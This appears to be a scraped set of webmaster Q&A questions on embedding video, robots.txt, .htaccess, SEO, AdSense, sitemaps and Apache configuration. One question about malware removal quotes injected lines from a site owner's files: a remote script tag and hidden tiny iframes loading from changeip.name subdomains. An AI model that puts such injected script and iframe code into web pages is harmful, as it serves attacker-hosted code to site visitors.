We've got a page that embeds a `.MOV` file into a webpage. In the last 6 months it stopped working on some Macs. Then it stopped working on all macs. Then it stopped working on Windows XP. But it works fine in Windows 7. Here's what is embedded in the HTML:               <embed src="/Magic94Scripts/mgrqispi94.dll?APPNAME=FileManager&PRGNAME=prjfilmview&ResID=2784&size=9" style="float: left;" height="600" width="1030">      This has worked perfectly for years. The QuickTime player pulls the file out of the requester, inspects the MIME type from the response headers and plays the file appropriately. A Wireshark dump from a Windows 7 looks like this: ![Quicktime Windows 7 dump](http://goodoil.enets.com.au/QuickTime-Win7.png)   1. The intial request for the page that has the `<embed>` tag in it   2. The QuickTime plugin requesting the MOV file through the back-end requester Performing the **exact same** actions on OSX or Windows XP wields: ![Quicktime XP-OSX dump](http://goodoil.enets.com.au/QuickTime-XPOSX.png) The versions of quicktime and safari on all the different machines is the latest (5.0) and I assume this is something that was broken in an update, and as our clients moved to the newer version of the browser they were breaking one by one. Any ideas what might cause this? Is this a bug in Safari? Are there better ways of embedding the MOV file?


Fetching templates via API. Who provides this service?

I'm mainly a server side developer. I'm not a designer, even if I understand web layouts, grids, CSS, typography, valid markup, etc. and I'm able to do some graphic work too (almost). It just takes a lot of time and the result is not always beautiful. I know there are tons of website templates sites out there, and I'd like to use their designs as a starting point for my customers' works, giving them the possibility to choose the design they like more. I'd just prefer to show the templates catalog to customers from within my site, fetching templates info (screenshots, description, etc) from a remote server using an API. TemplateMonster.com provides, or provided, such API. But the service responds with "Unauthorized usage". Are there other sites offering this kind of retrieval service?


Question about robots.txt Google shows urls are blocked

I am working on this site dealsin.us and the Google webmasters tool shows that there are about 9800+ urls blocked by robots.txt. You can view the robots.txt here I have blocked some directories which are not meant for the users and our only to the staff behind the website. I am really confused and would appreciate any help on this.


.htaccess file ignored on Ubuntu Apache 2 server

I'm having a problem with an `.htaccess` file on a newly installed Ubuntu server running Apache2. The .htaccess file in the directory where the WordPress files are located isn't being take into account when the server loads pages. There isn't an `AllowOverride` statement in the apache2.conf file, but the default is `All`, and it doesn't change anything if I include one. I've tried including the contents of the local `.htaccess` file in a section. I've also tried this:               <Directory /var/www/mydomain.com/html>     AllowOverride All     </Directory>      I also tried changing all instances of `AllowOverride` in /etc/apache2/sites- available/default (which are all set to `None`by default) to `All`. But I've had no luck. Not sure how to solve this one.


Tracking image clicks with google analytics?

I'm trying to set up conversions using Google Analytics. What I want to define as a conversion is when a person clicks on certain images in my blog (product adverts). How can I do this in google analytics? I found that you can track URL clicks, but the url the image leads to is offsite. Will that still work?


A tool to test web fonts on a live site

Are there any browser/online tools to quickly test a live site with web fonts, like Google Web Fonts? So, as I see it, I visit any site, for example, microsoft.com and click something like Analyze element in Firebug and change that font to some from Google Web Fonts list. Is there anything like that on the web?


Question about duplicate groups (agents) in robots.txt

I'm looking at a corner case with robots.txt, and am curious if you have any guidance. Basically, I'm in a situation where multiple people will be making edits to the same robots.txt file. I've pointed to the Google Resource as our standard for how it should look, but we're running into a question regarding duplicate groups for the same user agent. Basically, what happens if you have a robots.txt file structured like this:               User-agent: *     Disallow: *.asd     Disallow: *.exe          User-agent: *     Disallow: /app/     Disallow: /api/      Would all crawlers interpret this as:               User-agent: *     Disallow: *.asd     Disallow: *.exe     Disallow: /app/     Disallow: /api/      Or would they pick one over the other? Google says: "Only one group of records is valid for a particular crawler.", so I'd interpret this as a crawler is going to pick either group, but not both... But have no direct experience with duplicate groups/specifying the same user agent more than once in robots.txt.


Having internal website search as Google search result

Sorry if this has been asked before. Let's assume there is a website as www.example.com and there is a private search engine with URLs simmilar to www.example.com/search/search+pattern How do I have Google display the above URLs "forwarded" for seach text entered in Google search? I mean that if one searches for example "aston martin DB7" one of the results would be www.example.com/search/aston%20martin%20DB7. I tend to see that kind of behavior every now and then and keep wondering...


How do I use the http://schema.org/GeoShape itemtype?

There are no useful examples for setting the property of this type anywhere. The GeoShape page references the rNews GeoCoordinate spec in passing and a forum post on meetup states that this spec is based on Simple GeoRSS. I have guessed that the Simple GeoRSS coordinate format is correct. Unfortunately, Google's Rich Snippet Testing Tool doesn't inspire confidence in that conclusion. This is the ideal data format for my purpose (describing a service area of 20 miles centered on the city centre) so it is really frustrating that I can't test the correctness. This is a duplicate of my question on StackOverflow.


URL paths and their effect on SEO

We are developing a website where there will be two distinct types of content: galleries and photos. It makes little sense to use URL paths like /gallery/photo as some photos can appear in more than one gallery (and duplication of content is bad); so the current logic is to have a single depth on the site (/photo1, /photo2, /photo3, /gallery1, etc). Will this impact upon SEO as the number of single depth pages increases?, is it better for Search Engines in general to see a more RESTful interface (/galleries/gallery, /photos/photo1, etc)?, or is there a better way to handle this? P.S.: The photos will have a landing page of their own with deep textual content (as will the galleries).


Is my mx record affected if I forward my domain?

My domain host (not webhost) is GoDaddy. I set up the MX record to point to Gmail. I use a free host (say `examplehost.com`) without static IP, so cannot set my A record to that `examplehost.com`. So I forwarded my domain to that `examplehost.com`, is my mx record broken? (no longer works with Gmail).


Effect on SEO of lazy scrolling on HTML comments

I am thinking about using a JS script that lazy loads HTML when scrolling ( http://ivorycity.com/blog/2011/04/19/jquery-lazy-loader-load-html-and-images- on-scroll/). I am not too sure about whether this approach is SEO friendly. As far as I know, search enginges ignore text within comments. Even worse, the site might get degraded because of so many comments. How should I handle this requirement? Are there any alternative approaches?


Timed redirects and SEO

When it comes to SEO is it ever a good idea to do a timed (countdown) redirect? For instance: I have a thank you page, but it just seems logical that you would want to redirect the user off that page after a certain amount of time. Will this harm my SEO or is it acceptable?


Mobile site: Should I be redirecting to a different subdomain, or just serving mobile-specific markup?

I'm currently putting together a mobile version of an existing site (Django- based) and there seems to be two ways of doing this. I can do one of two things:   1. Detect a mobile useragent and redirect the user from `http://www.example.com/page/awesome/` to `http://m.example.com/page/awesome/`, which serves up mobile-specific markup, CSS etc.   2. Just detect the useragent and serve up different content on the `www` subdomain depending on whether the useragent is mobile or not. To me, (2) feels cleaner, because the site's adapting content served based on the client, but without changing the URL. However, (1) seems to be a _lot_ more prevalent on various popular internet sites, and there must be some good reasoning behind it. Obviously, (1)'s easier to test, but redirection just feels messy, as well as doubling the number of URLs. What's the "right" way to do this, and what other pros/cons should I be looking at?


Canonical URL in blog post category post listing?

I have a set of categories that each list their own blog posts. I am afraid there might be a problem with duplicate content as the posts move down the pages. Should these subpages include a canonical link back to the main listing page for this tag? For example: > domain.com/category/5/ would have a canonical URL to: > domain.com/category/ Is this considered good or bad practice for SEO?


Which special characters are safe to use in url?


Are videos inherently good for SEO?

My business partner is convinced that having a video on a page is inherently good for SEO and will improve its ranking. I'm trying to find some evidence to confirm or deny this theory. My hunch is that answers to questions like this are right on the money: videos are like any other form of content. Good content will drive traffic (and therefore links, and therefore SEO), bad/irrelevant content won't. Does anybody know of any resources that have either confirmed or debunked the alleged inherent awesomeness of having a video on your page?


Does Google penalize .me or .tv sites?

If I am thinking about using one of the fancy country domains such as `.me` or `.tv` should I be worried about how Google treats such domains? Or to put it another way, if all other things are equal (good content, links etc.), will Google regard a `.tv` or `.me` as equal to a traditional `.com` or `co.uk` site?


Rank value of domain extensions in Google

> **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? Is there any definitive information on how google values different domain extensions in its ranking algorithms? My assumption, all other things being equal, is .com > .net > .org > .co etc.


CO.CC domains SEO disadvantages

> **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? There is a free domain service http://www.co.cc . We can setup DNS settings at co.cc . But is there any SEO disadvantages for CO.CC domains?


Do different TLDs affect your search engine ranking?

> **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I have two identical domain names with different suffixes `org` and `com`. I just installed POSTFIX which has auto configured itself to the `.com` domain name but I generally use the `.org` tld based domain name as the primary (even the `.com` redirects to `.org`). Which is better to use as `myhostname` and `mydomain` are there any advantages to using one over the other?


Does the .ending on a domain need to be relevant?

> **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I see a lot of people now opting to use > myname.im or > myname.me But after doing some checking, i found that `.im` domain names are meant to be Isle of Man endings. Is this correct, and does it matter that people opt to use this domain ending if they are not even based anywhere near the Isle of Man. It is Ok to use a domain ending purely for how good it sounds is what I'm really after. Or is it bad practice to do this.


Is it disadvantageous to use a .me domain?

> **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? In a scenario like the following, **should I go for the .net or the .me domain?** Assumptions:   * I have a relatively informal website about _eating_.   * eating.com is already taken. Should I go for:   1. **eating.net** (might confuse visitors because the .com is occupied by someone else / a competitor)   2. **eat.me** (because it is so catchy) I have heard (just word of mouth) that Google would give less priority to .me domains, is that true? _PS: eating/eat is just an example, but my actual sitename is (almost) as catchy._


SEO impact of using regional TLDs like .me

It is common that people use regional TLDs with a fake meaning to register a good-looking website. A famous example is `.me`, which is popularly offered by most of registrars alongside generic domains. As far as I know, search engines somehow weight the regional websites. For example, a `.ca` is supported to be targeted in Canada. I understand that search engines are adjusted to the market popularity, but I am curious, if a regional TLD such as `.me` is considered as a generic TLD when targeting globally? In general, my question is that how much `TLD` affects the SEO for global audience?


Does using a country domain (TLD) negatively effect a site's search ranking if the site content isn't country specific?

> **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I have a website in which the content is not country specific. The TLD is currently .it but the company is hosted and based in the United States. I'm wondering if a .it domain will negatively effect the site's search rankings. Is it better to use a .com TLD? For example (I don't actually own these domains), would the domain love.it have a worse ranking than loveit.com? (Assuming the content of the sites is the same) I've been searching everywhere for an answer with not much luck. Any advice would be very helpful.


.com vs .me for personal and blogging sites. Which one is good regarding seo

> **Possible Duplicate:**   >  Does Google penalize .me or .tv sites? I basically have a domain under my name with .com extension. I am planning to use it for my portfolio and also as a regular blog. Now considering SEO and ranking stuff, what is the best way to implement this. **myname.com** - _Portfolio_ || **myname.com/blog** - _Blog page_ (or) **myname.com** - _Blog_ || **myname.me** - _Portfolio_ i have absolutely no idea on how .tld's impact SEO and Ranking, so i seek the experts advice on this. Thanks in advance.


Can I use the same SSL cert for HTTPS and FTPS

I am looking to get an extended SSL certificate for a server that is handling one of my subdomains. Can I use the same certificate for `https://sub.example.com` and `ftps://sub.example.com`, assuming that that they both resolve to the same ip on the same box? Windows 2008 R2 Apache 2.2.12 w/ OpenSSL/1.0.0e FileZilla Server 0.9.39 beta


Will content in a default closed jQuery UI tab still be indexed?

I have a website that has a lot of traffic coming from alt text in images. Right now every image is fully visible on each page. But, I want info, images, and contact as jQuery UI tabs. The info would be open by default and the images would be closed. Would any content in a closed jQuery UI tab still be indexed? Would the images lose any indexing power? Thank you.


Should I run my own OpenID server?

As I understand it, OpenID relies on a single trusted service, the OpenID provider. If you run this service on your own server you then have complete control, and you only have to trust yourself (and your ability to correctly configure and run a web service). Would this be the most secure and effective way to manage your online identity?


Itunes Podcast Feed: Itunes says it can't verify the identity of the server

I have created an iTunes RSS feed for my video podcast: http://designmind.info/feeds/itunes.xml For the first few weeks, it worked fine. But lately, iTunes has started giving this error message: iTunes can’t verify the identity of the server “www.designmind.info”. The certificate for this server is invalid. You might be connecting to a server that is pretending to be “www.designmind.info”, which could put your confidential information at risk. Would you like to connect to the server anyway? How can I fix this. It is not SSL hosting, so I am not sure why it needs a certificate.


Strict doctypes

I was wondering about the consequences of building a site thats complaint with XHTML1.0 Strict. I have developed a lot of sites using the transitional doctype, and read about the consequences of a link target attribute. It can't be used and it has to be fixed with a javascript code block. I was wondering if there were any more of these 'heavy impact' occurences and if there are significant changes with day to day coding in the transitional variant... (Didnt know if it could be asked here, or that it has to be placed on stackOverflow.com because of the frontend related issue)


What potential issues do I need to be aware of in a multi server/clustered environment?

I have been working on a website with a client for some time now and the site itself has grown massively in popularity. We are now at the stage where the single machine we have hosting the site is struggling to keep up requests and we have optimised the site itself as far as we can go (caching etc). We are now at the stage where we need to add another server to take the extra strain which leads to my question - what potential pitfalls and caveats do I need to be aware of or test the site for when moving to a web farm or clustered hosting environment?


Apache <Directory> blocks

I'm trying to make it so that the outside world can't access a specific section of my website. What I did was:               <Directory /Library/WebServer/.../secrets/>          Order deny,allow          Deny from all          Allow from 10.0.1.18     </Directory>      (10.0.1.18 is my computer's internal IP) That seemed to work for the root folder, but not for subfolders. So I tried secrets/* in the directory block, but that disabled everything. Anyone could access the secrets folder. How would I make the directory block apply to subfolders?


Banning IPs through my htaccess doesn't work. Why?

The story is incredibly long. Long story short, someone is using amazonaws IPs for a bot that's clicking on my Adsense ads. I'm trying to ban all amazonaws IPs, but it doesn't work. The bigger problem is that I can't ban any ip. I tried this:                    RewriteEngine On     RewriteBase /     RewriteCond %{HTTP_REFERER} ^http://.*amazonaws\.com [OR]      RewriteCond %{REMOTE_HOST} ^.*\.compute-1\.amazonaws\.com$ [NC,OR]      RewriteCond %{REMOTE_ADDR} ^xx.xx.xxx.xxx [OR]     RewriteRule ^(.*)$ - [F]           xx.xx.xxx.xxx is an IP that I have access to and with which I can test if the htaccess works. Otherwise, I tried banning myself to see if it works. Doesn't. I also tried the classic code:               # BAN USER BY IP           order allow,deny      allow from all      deny from 1.2.3.4           Didn't work either. What am I doing wrong and why can't I ban any ip, let alone the amazonaws ones?


Am I harming myself by having two domains pointing at the same thing?

> **Possible Duplicate:**   >  SEO and multiple domains to same site I have a domain I recently purchased. I went ahead and pointed it at my website(via DNS) and by default, my server now serves my website on this new domain. Eventually, the new domain will replace my old domain(with 302 redirects and all that). However, I've not yet got my website ready for that because I'll need to do some rebranding and such. Am I actively hurting my SEO ratings and such by having these two domains point to the same thing?


What is good traffic for a domain of a non-existing website?

_For existing websites, there are already very good answershere. This question is about the ability to measure the "strength" of a domain **prior to the actual site being published._** I have several domains in which I haven't yet placed any content at all, eg they lead to a blank page or to the generic 404 of my hosting company. Non of them is listed on google or anywhere else. I do get some traffic statistics on these domains, including a count of unique visitors - people or bots who just typed in the domain name. Naturally, this kind of traffic varies between different domains - which seems to be a demonstration of the difference in these domains' "strength". for example, drive.com (which contains only an "under construction" page) gets more traffic than asdgfkljhvcas.com. **Is there any method for determining how much of this kind of traffic is a lot in an international-website scale?** This could be helpful for determining the quality of domains in hand.


Why don't large popular sites such as SO use keyword and description meta headers?

Why don't Stack Overflow, Wikipedia or MSDN etc. include keyword and description meta tags in their page headers? For example Google indexes the first paragraph as a brief description. Is this a technical point in web design and SEO?


Cheap stock images website (per image pricing)

so I like the stock images and illustrations on istockphoto.com but they're kind of expansive because you have to buy a $18,50 package if you want one image that would cost 3 to 5 dollars, and the odd currency of the site don't help making me at ease with the website... so is there any website where I can get per image pricing and a good price for it? Lots of designer in this website so someone might have found a good site I assume, not asking for a free stock images website I have a big list of those but a cheap and per item priced website where an image for web won't be over $5 (800px+) any helps is welcome, thanks!


adsense for lightbox

i have image gallery and i am using lightbox to display images but to my surprize google ads are being shown for first 4 photos after that it is now showing . i assume that google thinks that i am reloading the same page so it shows for 4 times only i may be wrong and i feel that if i give that lightbox some url address so that google can understand that all pages are seperate then i think ads will be displayed in all images against the present 4 images. if anyone think that it can be done please tell how to do this. just using php request url will solve this issue or i have to try other way .please advise


What are sources of free/cheap stock photos?

Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what the terms and conditions mean? **UPDATE:** Changed the title from "free" to "free/cheap". I need an easy to use source of photos, meaning I they OWN the rights to the photos. Some stock photo websites disclaim that the have rights to the photos. Examples: SXC.hu, Bigstock (if you know of others, please comment. See comments to answers for details. Thanks!) **IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a "new" contract just with you. That's a lot of overhead, and the only way SXC.hu gives you to contact the owner is a web-form that has no additional info on the owner than their username.


Complex Disallow pattern in robots.txt

I have a URL like this:               www.example.com/freelance-jobs-new-york      I had a problem and many duplicated pages have been created like this:               www.example.com/freelance-jobs-new-york-php-php     www.example.com/freelance-jobs-new-york-php-php-php     www.example.com/freelance-jobs-new-york-php-php-php-php      And so on, those pages have the same content as the main one, so what I did to fix it was redirecting all the pages with more than two times php keyword in the URL to the main URL. But I have did it late, so Google has to redirect maybe more than 20.000 pages that have been already crawled. So I want to setup a Disallow in robots.txt to block it for spending resources on those urls. So my question is, what pattern should I use to disallow pages with more than two times the keyword php in the URL? Will, `Disallow: /*php*php*` work as expected? I am asking this because I don't want to accidentally block good URLs.


Where is the data format for Google's Product search data feeds specified?

Where is the specification for the file format for building data feeds to populate Google's Product Search (neé Froogle)? When I follow the links from product search, it guides me through setting up a merchant account (fair enough), and then asks me to specify the filename, but it does not tell me what format that file should be in, or ask for any location information as to where to retrieve it from?


SEO - Does order of html carry importance - text before images preferred over opposite?

I have a two column layout with text to the left and a slideshow to the right. In order that I may float the text around the right column I would need to place the right column first with a right float. This means that I have all my images before the page text in my html. It seems apparent that the search engine rank of a page for keywords is determined, at least mainly, by the text content of the page. Would the described order of html hurt my ranking? I guess a bonus question would be how to float around a right column, see reddit for an example, though I think I should ask this on another stackexchange site.


How to remove this malware

Some files in my site contains some extra lines. After I've deleted them manually, I find them corrupted again some time later. it is all coming from http://*.changeip.name/ some js files. How can I remove them?               <!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda-->          <iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0>            <iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height     =5 border=0>      Edit:   * Server is Windows 2008   * Site have some asp.net files   * Javascript and flash files are used in the site, too.


Firing an event on a particular page in Google Tag Manager

In Google Tag Manager I'd like to fire an event when a particular page is seen. This is for a completed signup page - a conversion. In Google Tag Manager I have my base UA tag fire on all pages. I then created a new UA tag "Subscriptions" to track events: track type events. I then filled in my category, action and label values for the event. However, it's the rules that seem to be tricky. When I went through the signup process in order to see the conversion page, here is all the info from Google Analytics debug in the JavaScript console:               Account ID               : UA-xxxxxx-2     Page Title               : Example Company | Your Account has been created | Premium     Host Name                : secure.example.com               Page                     : /secure/common/callback?`          https://secure.example.com/secure/common/callback?id=2c92a0fb41ee0b8c0142062c06fd6c89&tenantId=3415&timestamp=1390480077277&token=WByfk6aU4JX1EJSchx4XDMnp50XX8aL7&responseSignature=OTg2OWY4MTcwMDVmZmRiYzI3NWI2N2IxOWJmNTYxNGI=&success=true&refId=2c92a0fb43bdc33a0143bf122e6d3ebb&field_passthrough1=:Unmyname@gmail.com:Emmyname@gmail.com&field_passthrough2=P&field_passthrough5=%3Alnen%3ANmmeFirstNAme%20meLastName%3AA1123%20mainst%20Avenue%3AA2%3ACtPhiladelphia%3AStON%3APcM6G%202T8%3ACn&field_passthrough3=3a5e49b5-85ed-4c86-99af-761004f7db06&field_passthrough4=true&signature=OWM1NjY5MGZkMWVjNjI5NjJiYjk3MmVhOWU3ZjkzNjA=      I'd like to fire the "Subscriptions" event track tag. I tried the following rule but had no success: `{{url}}` contains: `/secure/common/callback?`.   `{{url path}}` contains: `/secure/common/callback?`. My questions therefore are:   1. How would I fire the submissions event when this page is visited?   2. Why is the event not firing now - isn't the logic sound? If the URL contains `/secure/common/callback?` then it should fire, right? ![enter image description here](http://i.stack.imgur.com/ajfkl.png)


One million redirects

What's the best way to redirect 1,000,000 unique URLs to another 1,000,000 unique URLs? These pages are all combinations of multiple search filters and queries. We're migrating the site to cleaner URLs and want to map old pages to new ones so that we do not lose visitors or send them to 404s. I believe a million line _.htaccess_ will slow down the site pretty significantly. Is there a better way that would maintain PageRank but not slow down the site? Maybe something I could put on each page individually?


Average screen ratio

I'm building a portfolio website that uses full screen background images slideshow that are cropped to fit using a JavaScript plugin. To give the minimum amount of cropping whats the best ratio to make the images? ie I know 13" Macbooks are around 13:7 (when taking into account about 100px for the browser bar) but does that scale up on 15", 24", or 17" displays? I know there are charts showing the most common dimensions but they just show a range of sizes and thats categorized by groups rather than actual dimensions.


SEO - Hidden content before main site content

I have a two hidden divs before my main site content, one with the login form and another with the signup form. I then have login and signup buttons within the page that use JQuery to show or hide these divs. I like the effect this setup offers, dropping down from the top of the page and pushing the rest of the content down. However, recently I have been getting serious about SEO and I am wondering if these divs have been affecting my SERP rankings. Basically, every non-logged page (everything bots see) has the same two display:none; divs at the top of the document flow. Is it bad? Should I re-engineer these forms and the way they are displayed?


Why does Google Analytics show false referrals?

Ever since Google revamped their Analytics interface I've been noticing a weird "bug" while viewing the "Real-Time" overview area. From this area I can obviously see live stats of visitors to my website but when I visit my website by opening a new tab (Chrome) and manually visit website the real time stats sometimes look like the image linked below. http://i.stack.imgur.com/mfniY.png Is there any reason why Google is saying that I was referred by Stack Overflow when I'm visiting my website from a new tab? Could this be something do to with how I installed the analytics on my site or could this be an issue with browser cookies? Have anyone else noticed this? I am mainly concerned about this because in the standard reporting area of my Analytics panel my referral stats are getting thrown off every time I visit my own website.


How to progressively display images on websites

I want to display images on my websites just like Facebook and other websites display images now - progressively i.e a complete blurred image first and then the whole sharp images loads. I am not sure about the technical term here but they seem to be pre-fetching a lossy version of images and then download the rest of data. How can I achieve this?


Indexing dynamic loading page

Does Google index dynamic loading page? **For example** _index.html_

      _index.html after few seconds_
Hello Google, do you see me?
      Will Google index div#dynamic_message? Thanks.


Arguments for discouraging satellite sites?

I am working with a client who's read about satellite sites on a SEP book and has been building hundreds of keyword reach domains (buytoyotacorona1989cheap.com, brandnewsuvinred.com) with specific content about such domains. They all link to a main domain (CompanyName.com) where most of the information is either repeated(from other sites) or new. I told him to drop all the other domains and only focus on building good content for the main site as it is too difficult to maintain so many websites, plus they might look like link farms to Google. He told me to make a Google search for "Buy Toyota cheap " and two of his websites were listed among top 10. So it's seem to be doing _some_ good, but I get the feeling that what he is doing is wrong. What other arguments are there to discourage this practice? or is he doing the right thing? My arguments have helped him to decide go down from hundreds to close to one hundred (because cost of maintainance) but I believe he should only have one or two sites. PS: The business is not actually about cars.


Using photoshop actions to decide if an image needs to be rotated

I have Photoshop CS3 and I need to do a batch on a lot of pictures before I upload them. The pictures need to fit in an 600x800 box, yet be as big as possible within that box. Some of them are much wider than taller and others are more tall than wide. I am trying to put together a photoshop action that will rotate, resize, and fill pictures as needed to make them as big as possible while staying within the 600x800 box. The only thing I haven't gotten sorted out is how to tell photoshop to rotate the image 90 degrees if that will allow the picture to be bigger within the constraints. Any ideas?


Most standard / Best way to keep the same top menu among different web pages?

What's the standard way to keep the same menu on top among different web pages without having to duplicate it on each page (I don't mean that it doesn't reload like when using frames and only loading the bottom part; I want the menu to scroll with the page when scrolling down, like this, this, this and pretty much every single web page that exists). I found this answer but the guy can't use Php and I can. Plus, I see several people giving different suggestions, but I assume there is a standard since pretty much every single web page in the whole web have a menu on top that stays the same among multiple pages . I'm just a newbie on web design (I can program Php and Html easily but I have no idea about standards and stuff like that since I'm self- taught guy ;)). What I would normally do is to include the menu with php but I'm not sure if this is the "standard".


Sidebar for Navigation in Website

I want to have a sidebar in my website with navigation in it. I will use script like phpBB etc. but I want sidebar to be displayed on every page. So I am thinking about making a Sidebar in HTML and then using frame tag for displaying other pages/scripts. But as Frames are getting obsolute, Is there any other method to display a sidebar in everypage without using frames and without adding html coding on every page?


How to solve duplicate contents over different domains?

I'm trying to create a big main site and many sister sites. They all will be hosted in a same server, but will be multiple domains. When a sister site posts an article, it is submitted to the main site. For example, if the sister site posts an article `sistersite.com/article/seo- optimization`, the main site will have immediately a new article page `mainsite.com/article/seo-optimization`. This can definitely lead duplicate contents across different domains. I have known that the search engines don't like the duplicate contents. The main site may have SEO penalties because of those duplicate contents. I want the main site winning over the sister sites in terms of SERP ranking. I'm thinking the following options:   1. Adding `noindex, follow` for the sister sites   2. Adding a canonical URL `mainsite.com/article/seo-optimization` in that page of the sister site.   3. Updating the content by a moderator for the main site before publishing once it receives a new article. All of these have some pitfalls:   1. May all of the sister sites not be listed in SERP because of `noindex`? I want them listed somehow in SERP.    2. Is it really a valid canonical URL if it is referring to another domain? In fact, I don't want the main site URL included in the source code of the sister sites.   3. It will have work-overloads for the moderator because there may be many articles submtting a day. And how does Google decide what are duplicate contents? For example, 80% of the contents is same, 90% of the contents is same, etc. What would be a best solution to solve duplicate contents over different domains?


Will rewriting your .htaccess to 404 to return search results from your site negatively effect your ranking in Google?

Depending on the type of site that you are running, it may or may not be advantageous to display search results instead of a 404 page, when someone visits a non-existent page on your site. I believe that the site I've been maintaining recently would benefit from this as it is the site of a publication. With a publication the more people you can get to read your site the better. But after reading up on how Google ranks the "quality" of your site, where you will appear in SERPs, based on how much the meta text of a page relates to the content of the page, I have to wonder if making a 404 page link to the search results would harm the "quality" of your site in Google eyes.


XSS with local storage - Is it a concern?

I am working on creating a demo of how to use HTML5's local storage. The demo will be placed on my personal website and will append the user submitted data to the html. Can XSS stored on the client negatively affect my website?


Sitemap file entries for blog and main php site

I'm creating a sitemap manually. It's a PHP site with a WordPress blog. Here's the main site: http://wordfruit.com And here's the blog: http://blog.wordfruit.com   1. Can I put the blog URL in the same Sitemap file as the main site urls?   2. And can I just place the feedburner URL in the Sitemap instead of all the blog urls? -- this URL: http://feeds.feedburner.com/wordfruit   3. And if I place the feedburner url in the Sitemap file, will all new blog posts be taken care of without making any changes to the Sitemap? Thanks,


Creating sites with local ips that pointing to a distant server

We are a company that is distributed in several places over Europe (real offices).   Each office has its own domain.   company.de   company.co.uk   company.ch   And so. Our website servers are located in one place. We can't distribute our site to different locations.   How can we create a local IP in each location to show our main server. so google will see us as local ip. Explanation:   Google has decided to increase your PR if you have a local IP, they think that if you bought a server in a local market means that you are very serious about your business.   We have 8 employees in each office, we cant have a separate server, is that mean that we are not serious about our business? no, this is y i need to create this illusion. Thanks


How to find out the url of a popup?

I'm creating a Sitemap by hand. I want to add in the url of a popup -- I presume it has a url. At the top of this page: http://wordfruit.com -- there's a yellow-highlighted link with the text 'How does it work?' Is there a url of that popup? How do I determine what that url is?


ProxyPassReverse doesn't seem to be working

I have the following virtual host on my personal web server which runs on my NAS.I have dynDNS setup to redirect both mydomain.com and *.mydomain.com to my NAS.               <VirtualHost *:80>         ServerName redir.mydomain.com         ProxyPass /pbay/ http://www.anothersite.com/         ProxyPassReverse /pbay/ http://www.anothersite.com/     </VirtualHost>      when I try to visit "redir.mydomain.com/pbay/",it is redirecting to http://www.anothersite.com/ and the address bar still shows "redir.mydomain.com/pbay/" as intended. But when I do anything on the site which results in another request to the server, the address bar is changing to real (anothersite.com) address.I want to always show only "http://redir.mydomain.com/...." I thought that is what ProxyPassReverse is for. How can I achieve this? Thanks in advance.


Google Adsense Impressions Not Matching With Analytics

I'm using woopra and google analytics on one site. Both are reporting 100 unique visits to one site. Browsers - 70% Firefox, 10% chrome, 15% IE and remaining are others. My adsense stats are showing only 20-30 visits for this website. Even though analytics and other stat programs are showing more visits, adsense counting only 20 or so impressions out of it. What seems to be the problem here ?


Google Places like services

Registering with Google Places seems to give a free good quality link for a website for a local business. Are their similar other other free local listings for which every local business should be listed?


Code for sitemap -- 'weekly.?

I'm creating a Sitemap manually. If I want to specify a url to be crawled weekly, is this the right code:               <url>       <loc>http://wordfruit.com/</loc>       <changefreq>weekly</changefreq>     </url>


Importance of frequency of keywords for SEO

> **Possible Duplicate:**   >  keyword stuffing in SEO I've seen a few posts on here and elsewhere that talk about the amount of unique keywords used, or aimed, for in a text. But how important is the frequency of keywords for SEO optimized copy, the higher the better? Is there a certain percentage to aim at? For example, I currently have copy aimed for a specific keyword. The rate of this keyword is that it makes up 2% of all words. Is this too low? Too high? The higher the better?


Are there any security considerations if users are allowed to upload flash files

Lets say I have a website where users are allowed to upload files which will be displayed publicly as a portfolio gallery. For example, users might upload screenshots of a website they designed, or a MS Word document of some PR example text, or a PDF of their CV, etc. Some files will be blacklisted for security reasons, e.g. `.zip` files, `.exe` files and `.php` files. What about flash files? Is there any security concerns if I was going to host `.swf` files and automatically play them?               <?php     if ($extension == 'swf') {         echo '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="640" height="430">            <param name="movie" value="/'.$urlToFLV.'" />            <param name="quality" value="high" />            <param name="wmode" value="transparent">            <embed wmode="transparent" src="/'.$urlToFLV.'" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="400" height="430"></embed>         </object>';     }     ?>      I guess the flash code is executed in the users browser, so if there was a security issue, it would be on their machines, not our server?


Turn off opacity

I got the following layout: > body -> wrapper -> container Body has a background image, wrapper got this css:               #wrapper     {         padding: 40px;         width: 768px;         background: #ffffff;         opacity: .2;         ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=20)";         filter: alpha(opacity=20);              -moz-border-radius: 11px;         -webkit-border-radius: 11px;         border-radius: 11px;         behavior: url(border-radius.htc);              margin:150px auto 0;         position:relative;         width:680px;         z-index:2;          }      and container:               #container     {         -moz-border-radius: 11px;         -webkit-border-radius: 11px;         border-radius: 11px;         behavior: url(border-radius.htc);                   height:360px;         margin:150px auto 0;         position:relative;         width:680px;          }      My problem is that `#container` get the same opacity as `#wrapper`. I want to to have full opacity (i.e. be displayed as normal). I tried to set all opacity options to 100 (1), but that didn't help.


Any free skinable alternatives for Flowplayer for video playback?

Are there any good free skinable Flash video players, other than Flowplayer? I need something that works well in IE. Something open source would also be nice.


What encoding do most users prefer to have?

Is there any site, chart, or raw data that shows how much of user have used **_Unicode (UTF-8)_** or **_Western (ISO-8859-1)_** or **_Chinese_** and so. Or provide rough data of what is used in major number of sites. I want a rough data of major browser setting. I want to know which character encoding do most user have.


How to Figure AdSense PPC with AdWords CPC of $0.05

